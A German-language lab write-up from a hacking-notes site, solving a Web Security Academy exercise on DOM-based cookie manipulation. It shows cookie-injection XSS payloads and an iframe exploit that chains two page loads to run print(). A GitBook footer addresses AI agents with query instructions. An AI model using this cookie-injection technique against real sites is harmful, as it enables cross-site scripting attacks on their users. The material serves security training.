> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/dom-based-cookie-manipulation.md).

# DOM-basierte Cookie-Manipulation

### DOM-basierte Cookie-Manipulation

Dieses Lab zeigt eine clientseitige Manipulation (DOM) von Cookies, die es erlaubt, einen Wert in das `lastViewedProduct` Cookie einzuschleusen. Das Ändern dieses Werts kann auf einer anderen Seite eine Inhaltsausführung (XSS) auslösen und die `print()` Funktion aufrufen. Die Ausnutzung erfolgt, indem das Opfer über den Exploit-Server auf die erforderlichen Seiten weitergeleitet wird.

* Es gibt ein Session-Cookie namens `lastViewedProduct` das den Link des zuletzt angesehenen Produkts enthält.

<figure><img src="/files/fe60a2e745585469893092f47f1347cdd30dc872" alt=""><figcaption></figcaption></figure>

* Auf der Seite gibt es einen Abschnitt „Zuletzt angesehenes Produkt“ mit einem Link wie `&lt;a href=".../product?productId=1"&gt;Zuletzt angesehenes Produkt&lt;/a&gt;`.

<figure><img src="/files/8c62e11e445ad6505ab1f8364865017bd6be763f" alt=""><figcaption></figcaption></figure>

* Durch das Ändern des als „letzter Seitenaufruf“ gespeicherten Werts kann der angezeigte Link als HTML/JS interpretiert werden.
* Durch Ersetzen des Cookie-Werts durch eine externe URL (`https://jord4n.pro`) leitet der Link zu dieser Seite weiter.

<figure><img src="/files/0938f5ccad7d26f7a427b8033233d9eddca6abfc" alt=""><figcaption></figcaption></figure>

Das Einfügen von `JavaScript:print()` wird in diesem Kontext vom Browser interpretiert.

<figure><img src="/files/346d0a537ab84d5c5fdb4ce577a9f2340f500acb" alt=""><figcaption></figcaption></figure>

* Durch das Einschleusen einer Nutzlast mit HTML, zum Beispiel `productId=1&'><h1>TEST</h1>`, wird der Inhalt gerendert.

{% code overflow="wrap" %}

```html
<a href="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1">Zuletzt angesehenes Produkt</a>
```

{% endcode %}

<figure><img src="/files/5daee3a09cceb8e3c7df042979e51eacb491fbb0" alt=""><figcaption></figcaption></figure>

Eine Skript-Nutzlast wie `productId=1&'><script>print()</script>` wird ebenfalls interpretiert und ausgelöst `print()`.

```
productId=1&'><script>print()</script>
```

<figure><img src="/files/66d869b89079dfbaf7c98064881cd07fcd70b902" alt=""><figcaption></figcaption></figure>

1. Speichere beim Opfer in seinem `lastViewedProduct` Cookie einen Wert mit der Einschleusung (die Produktseite wird verwendet, um diesen Wert zu speichern).
2. Leite das Opfer dann auf die Startseite (oder die Seite, die „Zuletzt angesehenes Produkt“ anzeigt) weiter, damit der fehlerhaft formatierte Wert zurückgegeben wird und das Skript ausgeführt wird (`print()`).
3. Verwende den Exploit-Server, um die Weiterleitung zur Produktseite (die das Cookie schreibt) und danach zur Seite, auf der das Cookie angezeigt wird, zu orchestrieren.

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x){this.src='https://0a73004204b35bb980b9218200c90043.web-security-academy.net/'; window.x=1;}"></iframe>
```

{% endcode %}

<figure><img src="/files/76b4241c4206e273cfad426072ca63a4ff98f793" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/dom-based-cookie-manipulation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
